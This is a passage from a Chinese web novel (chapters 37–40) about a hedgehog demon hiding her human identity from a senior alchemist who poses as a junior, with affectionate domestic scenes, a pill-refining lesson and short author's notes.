她往旁一跨,拉开和裴依宁的距离,状似无意地:“杜师姐,我可以将这枚灵桃给这位师姐吗?” 她将后面的师姐两个字咬得极重。 杜寻雁面色怪异起来,几秒后,她点头:“当然可以给师姐。” 裴师姐和云师妹又在玩什么奇奇怪怪的游戏。 但杜寻雁并未直说,带着几人离开前默默说了声:“到时阁主问起,顶包的人有了。” 云榆纳闷,什么顶包的人。 但这念头一闪而过,她只顾得杜寻雁说话时的面容怪异,这被她自动归结为,宁依假装师姐被发现,但杜师姐顾及颜面,没有直接揭穿,只委婉提下。 手掌被人握住,这次温热的触感停留了数秒之久,手背被很轻柔地摩挲过。 掌心一空,那枚灵果被裴依宁拿回。 云榆:“……” 她短短几刻钟,因宁依的话语或者行为失语数次。 怎么会有反差这么大的人。 她温柔,善解人意的宁依去哪里了。 半晌后,所有的话语汇总,云榆硬生生憋出一句话:“你怎么可以这样栽赃嫁祸于我。” 她拉着声音:“我那么相信你。” 作者有话说: 小刺猬:!!!太过分了!!! 又来晚了 本章掉落66个小红包 第37章 第三十七章[VIP] 云榆恨不得现在变成小刺猬, 让面前的小跟班大吃一惊,然后和她好好解释解释刚才的所作所为以及骗她叫师姐的事。 届时宁依的表情一定很精彩,只是想想,云榆就觉得头皮发麻, 一颗心蠢蠢欲动。 但她压制住了。 她捏着一枚灵果, 老老实实地跑到河边,蹲下身清洗灵桃。 裴依宁缓步跟上去, 站在云榆一侧。 颀长的身形自下而上地看过去, 颇有威压。云榆甫一抬头就看见压迫感如此强的一幕,眼皮剧烈跳动数次。 她苦兮兮地低下头, 默不作声地挪动步子。 裴依宁像是散步般,云榆往另一边挪动几步, 她便跟着贴过去几步。 一连挪动了数米,云榆受不住了,握着灵果重重拍过河面,引得水花四溅。 几颗水珠砸到身上,云榆下意识别回头, 可还是晚了, 一滴水渍溅到她的睫毛上, 眨动间, 分化成数颗更小的, 要坠不坠地挂在上面。 晶莹剔透地增添几分美感。 云榆手臂提起, 侧低头,脸颊在衣衫上重重擦过。 她皮肤本就薄, 不控制力度地一擦, 半边脸泛起淡红。 云榆清洗完灵桃,正欲起身, 头顶的阳光被遮挡,一道阴影覆盖住她。 不待云榆有所动作,一只手抚上她微红的侧脸,长睫被柔软刮过,水渍被带散,仅余下一两滴更为小的垂在几根睫毛间。 下一秒,眼睫毛再度被柔软擦过,最后的水滴被带走。 云榆一瞬不瞬地愣在那,僵硬地仰起头。 裴依宁弯身,指腹一下下地在云榆脸上抚摸过,浅色的瞳孔中倒映出小小的云榆。 拇指指腹被水润沾湿。 云榆的睫毛很长,指腹略过,睫毛不自觉地眨动,带着细密的酥痒,扫过细腻的肌肤。 很让人着迷的感觉,裴依宁舍不得松开。 于是,她任由心念地揉捏云榆的脸颊,两根手指轻轻夹起脸颊肉,往外拉动,又松回去。 像是在玩什么有趣的东西,一来一回,乐此不疲。 云榆:“……” 她有些受不住地往另一个方向别了下头。无奈,茫然,疑惑……各种情绪交织在一起,她忍了忍,等小跟班揉捏的差不多了,意犹未尽地松开后,才是苦兮兮地喊了声:“师姐……” 她手背捂住被捏着的侧脸,警惕弯身的人。 裴依宁两指摩挲在一起,上面还残留着温度和触感。 某位小跟班脸不红,心剧烈跳动,面上泰然处之:“溅到水了。” 云榆:“……” 这算是理由吗?就算是,溅到水,为什么要那样来回捏她的脸,不应该擦擦就结束吗? 一连串的问题将要抛出,被云榆忍住了。 她今晚要捏回来。 还要捏的次数比宁依多,时间比宁依长才行。 栽赃陷害的事也要一并清算。 她这个身份不能和宁依算账,刺猬身还不能吗? 真是反了天了,自己的小跟班竟然这么对她,若是传出去,她小刺猬的脸往哪里放。 云榆幽怨地看了眼裴依宁,心中算盘打得噼里叭啦作响,嘴上却是恭维道:“谢谢师姐,”她顿了顿,“再晚一点,水就自己蒸发了。” 裴依宁“嗯”了声:“是这样,所以我提前帮你擦了。” 云榆:“……” 她说不过小跟班。 她选择放弃。 云榆换了个话题:“这位师姐,刚刚杜师姐说,让我们不要这么明目张胆的在这吃,要不换个地方?” 她对于峰阁内的规矩算是遵守,如今杜师姐已经提醒了她,再留在这吃,有种不把对方的话放在眼中的感觉。 云榆自诩没有那么叛逆。 她眼睛一斜。 嗯,她的小跟班很叛逆。 见对方不为所动,云榆只好又喊了声:“师姐?” 裴依宁微微颔首:“嗯。” 越过山阁后的溪流,云榆顺着一条小道回洞府,在岔路口,裴依宁转向另一个方向。 那是灵丹堂的方向。 等人走远了,云榆泄愤攥紧洗干净的灵桃,重重咬了口。显朱富 午后修炼途中,杜寻雁将上午指点云榆的那套剑招分解,一招一式旁都写上见解和注意。 其中几招较难的部分,杜寻雁在对应的附近,留有灵力虚影,一旦打开,虚影即可自行动作。 云榆看得惊喜,急忙对杜寻雁道谢。 杜寻雁只是欲言又止地摆摆手。 因着这份剑招分解,当晚云榆没有去找小跟班算账,守在洞府中,一遍遍地观看剑法虚影。 她召唤出佩剑,跟随虚影的动作,一招一式地练习。 午夜时分,她勉强可以将这套剑招顺出。 收剑动作行云流水。 她摸出一枚灵桃,纯当解馋和垫肚子。 第二日修炼一结束,云榆立刻催动留给裴依宁的那根刺,数秒后,那根刺有了动静。 是宁依同意了她的邀约。 云榆回到洞府洗漱一番,打坐吸纳空气中的灵气,等天色完全暗下来,她身形一变,化作刺猬形。 上次宁依说过,未来相约,约在对方的洞府中。所以在小刺猬轻车熟路地避开灵丹堂夜晚巡视的弟子后,直奔裴依宁的洞府而去。 小刺猬来之前预演了数次此次见到宁依要做的事情,生怕见到人心软,在跑到裴依宁的洞府外时她特意停下来,在心中演了遍。 随后小刺猬挺直腰板,伸出一只小爪子,有节奏地敲了三下门。 裴依宁早已等候多时,小刺猬的气息长久停留在洞府门口,久久未动,不知在做什么,她按耐住性子,想看看小刺猬要做什么。 可长久的等待后,小刺猬仅仅是敲了几下门。 石门打开,小刺猬昂首挺胸,气昂昂地守在外面。 刺猬小小一只,为了不有失气势,小刺猬特意催动灵力,在脚下形成一道高一米七的灵力块。 她站在上方,视线与裴依宁对齐。 “宁依。”小刺猬老成地抱住双爪,微斜着头,只睁开一只眼睛,“本星星来了,还不迎接。” 裴依宁:“恭迎星星到来。”她侧过身,将身后场景尽数露出,“小跟班已为星星大人准备好了今晚的餐食,还请星星大大品尝。” 一眼进入,洞府内的饭桌上摆放着各种餐食和水果,浓郁的饭香味还未进入就已经飘入鼻息中。 小刺猬咽下口水。 小跟班这个态度很好,星星表示很满意:“不错,带本星星过去。” 裴依宁膝盖弯曲,上半身前倾,将肩膀送到小刺猬爪边。 某只小刺猬熟稔地爬上女人的肩头,漆黑圆溜的眼睛直直地投射到里面的那张饭桌上。 演练过数次的事情被短暂忘记,一门心思,只想品尝小跟班的手艺。 裴依宁总能精确地捕捉到小刺猬想吃的食物,然后准确无误地投放到星星面前的碗中。 两人极为默契,往往是小刺猬一个眼神飘过去,下一秒碗中就会出现那样食物。 小刺猬吃得唇边泛着油光,攥着勺子一刻不停地往嘴里塞。 “星星,喜欢吗?”裴依宁温声取下小刺猬的勺子,坐到小刺猬身旁,端起小刺猬的碗,直接喂到小刺猬口中,省去中间投放到碗中的步骤。 小刺猬安逸点头:“喜欢。” 裴依宁眉眼间温柔尽显:“多吃点,还有饭后水果。” 提及水果,小刺猬某根神经被拨动。 差点忘记了今天来得目的。 美食误刺猬。 等吃完就开始批评欺负宁依。小刺猬暗自想着。 喂完食物,裴依宁端起切好的水果,介绍:“星星,这是我今天去剑法阁采摘的灵桃,你尝尝。” 这么不避讳地说出。 小刺猬没有立刻张嘴:“昂,但我记得阁主说不能采摘,你不怕被抓到吗?” 裴依宁插起一块:“嗯,被杜师姐抓到了,”她有意无意地道,“当时还有一位同门与我一同被抓住了。” “但杜师姐没有责怪我们。”裴依宁将灵桃块往小刺猬唇边递了递,“星星不吃吗?” 杜师姐。 宁依也知道是杜师姐。 当着她人形的面,喊杜师妹,当着她刺猬形的面,喊杜师姐。 双面人,宁依是双面人。 不仅如此,她还欺负了人形的她。 小刺猬越想气势越足,她抬起爪子,一把捏住裴依宁的侧脸,学着她揉捏自己脸颊的样子,捏了又捏。 裴依宁显然愣住了,片刻后,眼底闪过无奈,她捂住小刺猬的爪子:“星星很喜欢捏吗?” “喜欢。”手感属实不错,怪不得宁依捏人形的她。 小刺猬不知不觉开始为小跟班找理由辩解了:“软软的,滑滑的,捏着很舒服。” 裴依宁半挑眉梢,侧脸凑过去:“那星星多捏几下。” 预演数遍的兴师问罪派不上用场了,小刺猬彻底没了脾气。 担心不小心捏疼了宁依,小刺猬适可而止地松开手:“不捏了。” 在她面前装师姐倒是没关系,若是在其她同门面前装师姐被发现就不好了。 杜师姐碍于情面不戳穿,不代表可以为所欲为。 为了防止小跟班犯下过错,小刺猬眼睛一转,她按住裴依宁的手腕:“宁依,你听说过一件事吗?” 裴依宁看她。 小刺猬道:“就今日,我无意中听一位师妹提及,昨日她前往后山阁采摘灵桃时,遇见了一位别的峰阁的同门,那同门不仅光明正大地偷摘灵桃,还趁她洗灵桃时,捏她的脸。” 小刺猬皱眉,眼神却是一个劲地看向裴依宁:“这个行为影响太恶劣了。” 裴依宁低眉顺眼:“的确。” 小刺猬继续道:“宁依也这么觉得?” 裴依宁:“是,所以星星是听哪位师妹提及此事的?我们想办法把那人揪出来,消除影响。” 作者有话说: 裴师姐:我们把她揪出来 星星:…… 又又又来晚了(跪倒) 本章掉落66个小红包 第38章 第三十八章[VIP] 裴依宁漫不经心地捏着竹签, 指腹抵住竹签的尖端,肌肤被刺得凹陷下去些许,黏腻的汁水黏合。 开启的木窗钻入一阵微风,小刺猬肉眼可见的慌张, 表情凝固一瞬, 强硬地扯动脸颊肉,欲盖弥彰地伸出爪子, 抓起一块灵桃肉塞入口中。 汁水在口腔中炸开, 小刺猬以此拖延时间,想应对之法。 咀嚼咽下, 小刺猬捏起手帕细细擦拭爪子,故作无意地道:“事情已经过去了, 况且我们都是同门,揪住不放也不好。” 裴依宁有一下没一下地点着桌面,她接过小刺猬递来的手帕,叠好放在盛放水果的碗边,纤长的手指顺势点过小刺猬的额头。 小刺猬双爪捂住额头, 幽怨地望着现在胆子越来越大的宁依, 委委屈屈地伸直下肢, 再弯曲, 一伸一屈间挪动数个身位。 趁着宁依好奇的功夫, 小刺猬缩成一团, 露出全身炸开的刺,脊背拱起, 顶到裴依宁的手臂上。 刺团传来念念有词之音:“坏宁依, 我扎你。” 炸开的刺被灵力覆盖,伤害几近于无, 更多的是起威慑之用。 手臂被软趴趴地扎过,裴依宁眸光闪烁,眼底的暖色软了又软。 过于可爱了。 小刺猬还在扎她,在她手臂上来回滚动,口中念叨之语不断:“小跟班以下犯上,今日本星星就要让你知道厉害。” 裴依宁空闲的手随着小刺猬的滚动上下移动,以免小刺猬滚错方向,掉落下来。 小刺猬的惩罚还在继续,裴依宁衣袖皱在一起。 “好疼。”就在小刺猬觉得差不多的时候,一声呼痛声从上方传来。 滚动的小刺猬立刻停下,伸出小脑袋,四肢抱住面前的手臂,头扬起,担忧地挽起裴依宁的衣袖,漆黑的小眼睛仔仔细细地上下扫视。 手臂上除了一层浅淡的,被压出来的粉红外,别无伤口。 小爪子抚摸眼前白皙细腻的肌肤,小刺猬脑袋垂下,小口吹着那些红意之处,心疼地侧脸贴过去蹭了蹭:“哪里疼?” 想惩罚的是小刺猬,舍不得惩罚的也是小刺猬。 小刺猬的心太软了。 裴依宁学着小刺猬的委屈,半阖上眼皮:“不知道,好像哪里都疼。” 小刺猬咬住舌尖,莫不是有刺没有被灵力覆盖,所以才扎到了宁依。 早知道不这样扎宁依了。仙主服 某只小刺猬后悔不已,顺着小臂揉捏:“我给你揉揉,吹吹,就不疼了。” 裴依宁诺诺地“嗯”了声。 小跟班被吓到了,说话的语气都不一样了。 小刺猬想着法子的哄人:“宁依,对不起,我不是故意的。” 她诚恳地道歉,爪下不停:“我没想真的扎你。” 效果差不多了,再装下去就太欺负某只小刺猬了。 裴依宁手肘撑在桌面上,懒洋洋地支着下巴,话语中的笑意几乎忍不住,她轻笑:“嗯……其实星星,”她顿了两秒,“真的没有扎到我啊。” 她无辜地眨眨眼,摆弄被小刺猬揉捏的手臂:“怎么办,星星还会给我吹吗?” 小刺猬:“……” 宁依又骗她! 她硬气地:“不给你吹!你到底跟谁学坏的!” 裴依宁从善如流:“你。” 小刺猬:“……” 小刺猬无话可说,小刺猬默默背过身,小刺猬垂下脑袋。 她都教了宁依些什么。 不对,她没教过宁依说谎,宁依这是在甩锅给她,就像是昨日栽赃陷害她一样。 越来越不像话了。 小刺猬转过身,一瞬不瞬地盯着面前的女子。 抛开手艺,宁依最吸引她的是性格。 温和良善。 可现在的宁依,只会骗她! 小刺猬脸颊两侧鼓足了气,鼓鼓囊囊。说话之际,余光瞥见一只手臂伸来,紧接着,脸颊被戳了戳,含在口中的气吐出。 像是个泄了气的气球。 裴依宁悠悠道:“星星,我能再戳一次吗?” “不能。” “好吧。” 小刺猬重新鼓起脸颊,凑过去,头一甩。 裴依宁弯唇,指尖戳了上去。 小刺猬再次鼓起脸颊,裴依宁又一次戳上去。 翻来覆去数次,直到裴依宁玩够,小刺猬憋下去的脸颊发麻,发酸。 教训的心思一并被戳没了。 小刺猬四仰八叉地摊开身体,露出柔软的肚皮。 裴依宁忍了忍,忍住戳动小刺猬肚皮的心思。 “算了。”小刺猬妥协,“你骗我可以,不可以再外面骗别人。” 裴依宁眉眼低垂,捧起躺着的小刺猬走到床边,弯身将小刺猬放到里侧,她顺势趴在床上,支着两侧的下颚,与小刺猬对视:“嗯,不骗别人。” 她翻身而起,褪去外衫:“时候不早了,星星今晚留在这吧。明早再回去。” 小刺猬吃饱喝足,只想好好睡一觉,裴依宁的提议正合她的心意。 但她还没有洗澡,总觉得身上不干净,小刺猬张开双爪:“我还没洗。” “不想用净身术。”小刺猬努努嘴,“想要水洗。” 凭空取出一只木桶,裴依宁去接了桶温水,而后往里面放了瓶放松筋骨的灵液。 她捏住小刺猬的一根刺,正欲提起,忽而想到小刺猬前几次说的脸面,眉一挑,改成双手捧起。 小刺猬双爪扒住裴依宁的掌心,伸出一条下肢试探水温。 很合适的温度。 小刺猬松手,任由身体没入水面。 之前小刺猬在溪流边洗,还不肯让她看,这次倒没了让她背过身的要求。 其实裴依宁颇为好奇,小刺猬入水后,形态不曾发生变化,为什么之前不许她看。 她拎着条干毛巾,趴在木桶边,看小刺猬在水中尽情游动。 小刺猬很认真地清洗身体,脊背的刺碰不到,就沉入水中,再快速从水中起来,数次之后,每根刺都被水打湿。 毛发被小刺猬掀开清洗:“宁依,你不准看。” 某只小刺猬害羞于面前人的注视。 有种被看光的错觉。 裴依宁闭上眼睛。咸驻府 小刺猬清洗完,下肢踩在木桶边:“宁依。” 裴依宁睁开眼,给小刺猬擦干身体。随着一条抛物线,小刺猬被丢回被子中。 小刺猬侧身:“宁依,需要我帮你洗吗?” 裴依宁已经换了水,正在解衣衫,闻言扭过头,认真思索这件事的可能性。 开玩笑的话怎么能当真,小刺猬慌了神,生怕小跟班同意,连忙道:“我不方便,你自己洗。” 裴依宁:“好。” 裴依宁今晚不知怎么地,用的也是木桶,只是她用的木桶比小刺猬的木桶大了许多。 就在距离床边数米的空旷地,水流声不断。 小刺猬背对着裴依宁,耳边是持续不间断的水声,跟随频率,小刺猬甚至能猜出裴依宁正在做什么。 她的耳朵泛起一圈红润。 心静,心静。 她是妖,宁依是人。 小刺猬排除多余的念头,拉过身后的被角盖子肚子上。 流水声哗啦一片,是裴依宁从水中而出掀起的水花。 小刺猬的耳朵更红了。 半柱香后,床榻陷下去稍许,是宁依上来了。 小刺猬莫名松了一口气,翻身平躺,眼睛一斜,正瞧见裴依宁坐在床沿边,背对着她擦拭滴水的长发。 “星星。”裴依宁用灵力将发丝里的水渍蒸发,端着杯温水抿了小口,泼墨长发洋洋洒洒地披散而下,“要喝水吗?” 小刺猬舔了下唇:“喝。” 裴依宁不假思索地将抿了口的水杯递过去。 小刺猬一僵。 裴依宁后知后觉地收回手,歉意地:“不好意思,我去重新给你倒。” 小刺猬“哎”了声,叫住起身的人:“不用,”她的耳尖还是红的,“我喝你的就行。” 她不在意地揉了揉眼睛,从被子里钻出,靠在裴依宁专门为她准备的小枕头上,就着裴依宁端杯子的动作,双爪握住女人的一只手,引导对方喂她。 木窗关闭,阻断月光和清风钻入。 裴依宁和小刺猬并排而睡,一人一妖之间隔着能睡一人的空。 躺在床上,小刺猬反倒没了困意,她睁着眼睛,无目的地望着上方:“宁依,你困吗?” 裴依宁:“还好。” 裴依宁今夜清醒异常,她在等一个合适的时机,一个和星星摊牌的时机,今夜星星的话,一度让她有一种能告知实情的错觉。 可小刺猬却没有打破砂锅问到底,别开了那个话题。 一人一妖都没有说话,空间格外安静,安静到小刺猬能听到裴依宁平缓的呼吸。 不确定女人有没有睡着,小刺猬小幅度地转动身体,侧身在黑暗中观察女人。 夜色中,只能模糊的看见女人的脸部轮廓线和精致的五官线条。 小刺猬不由得支起身体,凑近几分,似有若无的药香萦绕在周身,将她团团包裹。 宁依睡着了吗? 小刺猬不知道。 “星星?”思索之时,平躺的人突然出声,惊得小刺猬软了身体,倒回床上。 小刺猬应了声:“我以为你睡着了。” 裴依宁:“不困,星星在看什么?” 小刺猬也不知道自己在看什么,她老老实实地说:“刚刚在看宁依。” 裴依宁偏过头:“可看出什么?” 小刺猬点点头,又摇摇头。 裴依宁含笑的声音在静谧的房间内清晰悦耳异常:“那到底是看出了什么,还是没看出什么。” 小刺猬犹豫:“看出宁依有心事,但没看出宁依的心事是什么。” 她实诚地说出感受,起初还不觉得,可当一切静下来,隐藏在深层的情绪被捕捉,小刺猬总觉得小跟班每每跟自己在一起时,有些不对劲。 好似在透过自己看什么人。 作者有话说: 小刺猬:宁依在透过自己看谁 裴师姐:透过你的刺猬形看你的人形。 今天我终于准时了!!!! 第39章 第三十九章[VIP] 可她现在是刺猬形, 小跟班能透过她看什么人呢?她绞尽脑汁,不得其解。 不对,也不一定是人啊,说不定小跟班是透过她在看其她的动物。 小跟班照顾小刺猬的手法这么娴熟, 这么会抓住小刺猬的胃, 是不是之前这样照顾过别的小动物,所以有了经验。 越想越觉得有可能。 小刺猬侧翻过身, 抬爪枕在侧脸。 裴依宁好笑:“那星星好奇吗?” 小刺猬点点头:“好奇, 不过宁依不想说的话,可以不说。”她平躺回去, 思绪放空,语气微沉, “每个人或妖都有心事,我也有,总不能因为别人的好奇,就直说吧。” 她释然地吐出一口气。 裴依宁提住因小刺猬不老实的动作而滑落的被子,认真给小刺猬盖好后, 她拽住被角, 用灵力压着。 夜色深沉, 室内一片黑暗, 隐约可见物体的轮廓。 夜晚会让人冷静, 也会让人更冲动。 像是把小刺猬圈在怀中, 裴依宁就着这个姿势,任由自己的目光全然落在小刺猬身上:“星星, 你什么时候愿意用人形与我相见?” 她少有问得这么直白的时候。 裴依宁难得紧张, 心跳不知不觉中加速,压着的被角成为唯一可以解压的物件, 被她紧紧勾住。 “什么?”小刺猬怔愣了瞬,不可思议地问,“你的心事是这儿?” 裴依宁抿唇:“算是其中之一。” 小刺猬沉默了。 裴依宁轻咬舌尖,忽而笑出声,打破寂静,她收手点过小刺猬的额头:“星星不是说了吗?不想说可以不说。” 她平躺而睡,双手叠放在小腹处,身旁的小刺猬没了动静,安静的与平日不符。 裴依宁闭上眼,起伏的心情逐渐平复,她放弃了询问的念头,亦当小刺猬已经睡着,没听见她的话。 就在一切重归平和,小刺猬窸窸窣窣地动了起来。 小刺猬从被子中钻了出去。 裴依宁指尖按在手背,边缘泛起一层浅淡的白色。 小刺猬是准备走了吗? 因为她的这个问题。 “宁依,”身上的被子浮动,枕头被压住,有明显的凹陷感,小刺猬又钻了进来,与她枕上了同一块枕头,“等我修为再高一点,我就告诉你。” 小爪子搭上裴依宁的脖颈,她凑过去,往上拱了拱,额头贴着裴依宁的耳朵,气若游丝地道:“现在还不是时候。” 小刺猬的声音低得仿佛风一吹就能飘散:“我会影响你的。” “宁依天赋那么高,一定会成为很厉害的炼丹师,我不能影响到你。” 不会影响。 裴依宁想说这句话,可心骤然疼起,酸涩之感顺着血液流经身体的每一处,喉咙哽塞到开口困难。 小刺猬到底经历了什么,让她这么害怕因为自身影响到别人。 裴依宁屏住呼吸,半边身体因小刺猬贴过来和那两句话发麻,难以动弹。 她深呼一口气,试图缓解小刺猬低落的情绪:“不会,星星这么可爱,怎么会影响到别人。” 她侧头,俯身,用额头与小刺猬的额头碰了碰,转移话题:“星星,我还有一件心事。这件事让我很犯难,星星能不能帮我想想。” 小刺猬的注意力果然被转移:“什么?” 裴依宁道:“我对一人很感兴趣,可不知该如何与那人相处,她总是觉得我在骗她,可我从未骗过她,与她所言皆是真。” 她与小刺猬的人形说得的确都是真话。 裴依宁苦恼地问:“星星,我该怎么才能让她相信我?” 小刺猬被裴依宁所言吸引,好奇心被勾起,她摸上自己的下巴:“她为什么不相信你,是因为你做了什么让她不相信的话吗?” 宁依的确爱骗人,每次都骗人形的她。她可以忍受自己的小跟班,可别人没有义务忍受被骗。 她原以为来得及纠正宁依骗人的这点,可没想到这么快就出现了问题。 她需要知道前因后果,想办法为小跟班解决这个问题。 裴依宁很无奈的样子:“她骗我时,我会骗她,她不骗我时,我也不会骗她。” 小刺猬骗她,她也骗了小刺猬,小刺猬的人形没有骗她,她也没有骗小刺猬的人形。 可小刺猬从中抓到漏洞,没好气地捏住裴依宁的耳朵:“你刚刚还说你与她所言皆为真,现在又说她骗你时,你也骗她。” 不过妖心总是偏的,小刺猬偏向自己的小跟班:“你们两个互相骗,都有错,各打五十大板。”说完,继续想对策,“你能不能和那人解释一下,你们坐在一起好好聊聊这个问题,说通不就行了。” “还有,你为什么对那人感兴趣?”小刺猬疑惑。 没想到宁依入宗没多久,就有情况。对方的这个兴趣可不一定是她想的兴趣。 她入宗数月,多多少少听说过宗门的那些事,除了修炼外,有时还会聊及一些有关师姐的。 之前无意中提及到两位优秀的师姐,不知是谁突然说起那两位师姐是道侣。 一时间震惊声不绝于耳。 小刺猬因此对宗门道侣之事了解些许。 宁依说得或许也是这种。 “我也不知道,只知第一眼见到她时,就有种说不好的感觉。”裴依宁不知道该如何形容那种感觉,她从未在除云榆之外的人身上感受到。 情绪被牵动,她无可控制地会想见到对方,每每与小刺猬见面前的时光,都是让她最为快乐的。 数着和小刺猬相见的倒计时,想着小刺猬今夜会如何夸她,苦恼小刺猬什么时候愿意用人身与她相见。 裴依宁听从本心:“我想日日见到她。” 完了,宁依真的是她想的那种情况,小刺猬的瞌睡被一下下打破,脑子嗡鸣不已,抱着宁依脖颈的爪子不自觉收紧。 她听见自己淡定的声音:“你该不会是喜欢上那人了吧。” 裴依宁茫然:“喜欢?”她迟疑地,“我不知道。” 小刺猬:“……日日想见她,不是喜欢她还能是什么?哎,不对。”她想到什么,急急打断,“或许是那人有什么让你念念不忘的东西,让你错以为是想见她,其实是想念那人的某样东西。” 小刺猬拿自身举例:“比如说,我就日日想见你啊,因为你的厨艺很好,我想日日吃。” “是吗?”裴依宁眯起眼睛,“星星日日想与我相见,只是为了我的手艺吗?” 只是因为她的手艺吗? “星星早点休息,晚安。”裴依宁翻身,背对着小刺猬。 小刺猬还在分析,一听这话,乖巧住口,不忘以一句“宁依,晚安”结尾。 她刚刚没说什么啊,为什么感觉宁依好像生气了。 该不会是因为她说想见宁依只是因为对方的厨艺吧。 嘶,小刺猬揪了下自己。 她感觉她发现了真相。 宁依性格温婉,心思细腻,一定是多想了,以为自己只是利用她。 她不想因此和宁依产生隔阂,小刺猬试探性地爬上裴依宁的小臂,整个身体挂在上面,小爪子捏了捏裴依宁的小臂:“宁依,你睡了吗?” 裴依宁看着前方,一言不发。 小刺猬低头:“我刚刚没说明白,不单单是因为你的厨艺。即使你厨艺不好,我也想日日见你。” “真的?”裴依宁眸光微亮,侧转过身,“你也想日日见我?” 她几乎下一秒就要把自己的身份和小刺猬和盘托出。 然而,小刺猬又开口了:“毕竟你是我的小跟班,本星星要对你负责,需得监督你修炼,你如今丹药炼得如何了?” 裴依宁:“……睡觉时不谈这些。” 小刺猬:“哦。” 感觉宁依更不开心了。 多言多错,小刺猬一时没了法子。 但她不想小跟班不开心,她想安抚小跟班的情绪。 无从下手,好难。 “星星,”裴依宁自行调整好情绪,暗示性极强地来了句,“不止是你,我还为她做过一次饭,她当时吃得很开心。” 小刺猬爪子一伸:“她喜欢你的饭就好办了啊,俗话说,吃人的嘴软,你若是喜欢她,就先拿下她的胃,到时徐徐图之即可。” 裴依宁弯唇:“星星懂的很多。” 小刺猬随意摆摆爪子,不在意地:“修炼累时,与同门聚在一起聊过这些。” 没吃过猪肉,难道还没见过猪跑吗?照葫芦画瓢她还是会的。 等明日回剑法阁,再去与应滟取取经验,为宁依留足准备。 她真是尽职尽责。 “这样啊。”裴依宁莞尔,“剑法阁无事时便聊这些。” 小刺猬“昂”了声,兴致被挑起,悄咪咪地滚下去,与裴依宁面对面:“我还知道一些八卦。” 她看不见裴依宁的表情,但根据人对八卦的关注程度,小刺猬神神秘秘地:“你入宗不久可能不知,宗主的亲传弟子和剑法阁的一位弟子是道侣,据说那位亲传弟子先前修炼的还是无情道。” “还有器物堂的那位风师姐,性情最好不过,杜师姐每每遇事,都会去器物堂找她。”小刺猬话音一转,“我与风师姐见过面,她真的好温柔,长得也好好看,银白色的头发,我还是第一次见。”她感慨,“她是我第二位见过,觉得惊艳的人。” 小刺猬真诚地卖了个关子:“宁依知道第一位让我觉得惊艳的人是谁吗?” 裴依宁不言不语。 小刺猬主动道:“是那日在膳食堂,提着一盏烛灯推门而入的你。” 她回味与宁依初见的情景,只一个背影,就让移不开视线。 裴依宁堵在心口的气顺了下去:“是吗?” 小刺猬点点头,继续说:“对了,还有你们灵丹堂的裴师姐。她人也很好的。不过……” 她提醒,“这话你别告诉别人。”小声道,“裴师姐不通人情,你与她请教时注意分寸,别乱说话。” 作者有话说: 小刺猬:小跟班,请教裴师姐的时候,别乱说话。 裴师姐:…… 又来晚了(滑倒)本章掉落66个小红包 第40章 第四十章[VIP] 今日灵丹堂的气氛很奇怪, 不知怎的,裴师姐整天都晃荡在峰阁内,几乎将峰阁内的每间殿阁都进了遍。 其中,裴师姐在新弟子学炼丹的殿阁内待的时间最长。 面对这位大能, 一众师妹后背直冒冷汗, 压力满满,生怕一个不小心, 丹毁炉炸, 给裴师姐留下不好的印象。 纳兰然温声细语指导坐在丹炉前不知所措的师妹,眼角的余光扫到身边经过的一抹月白, 抬头看了眼。 裴依宁从她的身后而过。 “裴师姐。”纳兰然直起身。 裴师姐甚少出现在此,今日怎得过来了。 瞥见四周明显紧绷慌乱的新弟子, 纳兰然略感好笑地抿住唇。 裴依宁脚步顿住,立于纳兰然指导的那位弟子身后,细长的手指点过丹炉边缘:“炼制的什么丹?” 那弟子紧张到磕磕巴巴:“回……回师姐的话,我,我炼制的是……” 高度紧张下, 大脑顷刻间空成一片, 她一瞬间忘记了自己炼制的是什么丹药。 脸色发白, 额头浮现一圈冷汗, 她想求助纳兰师姐, 可一回头, 势必要与裴师姐对上目光。 她坐立难安,僵硬在原地。 “她炼制的是一品聚灵丹。”纳兰然适时替新弟子解围。 “聚灵丹。”裴依宁弯身捻起丹炉旁放置灵植的小方盒, 其中取出一支, 放在鼻尖嗅闻。 这些药植是纳兰然亲自挑选的,自不会有问题。 裴依宁放回方盒, 拍拍新弟子的肩膀:“起来。” 那新弟子没反应过来,茫然地“啊”了声。 裴依宁重复刚才的话,弟子愣愣地将位置让出。 纳兰然往后退了半步,走到裴依宁身旁。 虽炼制的只是一品,但毕竟是裴师姐出手,或多或少可以从中学到一二。 裴依宁不咸不淡地开口:“让她们都过来。” 纳兰然:“师姐,她们不在丹炉旁守着,恐怕会炸炉。” 两侧坐着的新弟子亦是点点头,她们不过刚修习炼丹,人守在丹炉旁都有炸炉的可能,若是人不在,无人控制丹炉,岂不是直接炸炉了。 裴依宁淡淡道:“无碍。” 她掌心凝着一股灵力,猛地拍向眼前的丹炉,只见的丹炉剧烈震动,炉盖被顶起,嗡嗡不止。 气流直冲而上,白雾升腾中,有火焰从丹炉中扬起。 下一刻,裴依宁指尖一弹,丹炉稳定,白烟过后,一枚形状不规整的椭圆静悄悄地躺在炉底。 纳兰然取出,放到药盘中,盛给裴依宁。 裴依宁目光温和,眉心动也不动:“她们还没有炸炉的能力。” 适才她在此殿宇转了一圈,大部分人连药植都没放上几株,炉火更是达不到炼化药植的条件。 这枚丹药在纳兰然的指点下,才炼制成这幅模样,属实让裴依宁担心不起来。 聚灵丹和回血丹虽同为一品丹药,但相较而言,聚灵丹的炼制比回血丹难上一个台阶。 上次她算是夸过几句的弟子,炼制出的丹药亦是奇形怪状。 裴依宁此言一出,周围聚过来的几名弟子心虚地摸了摸鼻子。 纳兰然抿唇忍笑,裴师姐当真是一针见血。 不过为了防止意外,裴依宁释放灵力,在每顶丹炉的炉盖上盖合上。 新弟子们将裴依宁团团围住,或是弯身双臂支撑膝盖,或是两两站在一起勾在一起。 裴依宁就着烟雾缭绕的丹炉,从方盒中取出聚灵丹所需要的药植,火属性灵力汇在丹炉下方。 只听得火焰“呲呲”声。 “炼制聚灵丹时,要注意灵植放进去的先后顺序,等到第一株灵草炼化到一半时,再放置回灵草,让原先炼化的汁液包裹住回灵草。”裴依宁放慢动作,每放置一株灵植,都会将注意告知。 火光打在她的侧脸,朦胧中增添一抹暖色痕迹,暖意融融,衬得她温和无比。 裴依宁自身炼丹时,少有将灵力具象化成火焰,此番只是为了让周围同门更好理解。 她说得仔细,新弟子们听得认真。 一炷香后,火焰熄灭,炉盖发出清脆的上顶声。 纳兰然了解地掀起炉盖,十枚圆滚滚的丹药整齐地聚在一起,被她取出。 新弟子们见状,惊讶,倒吸气声不绝于耳。 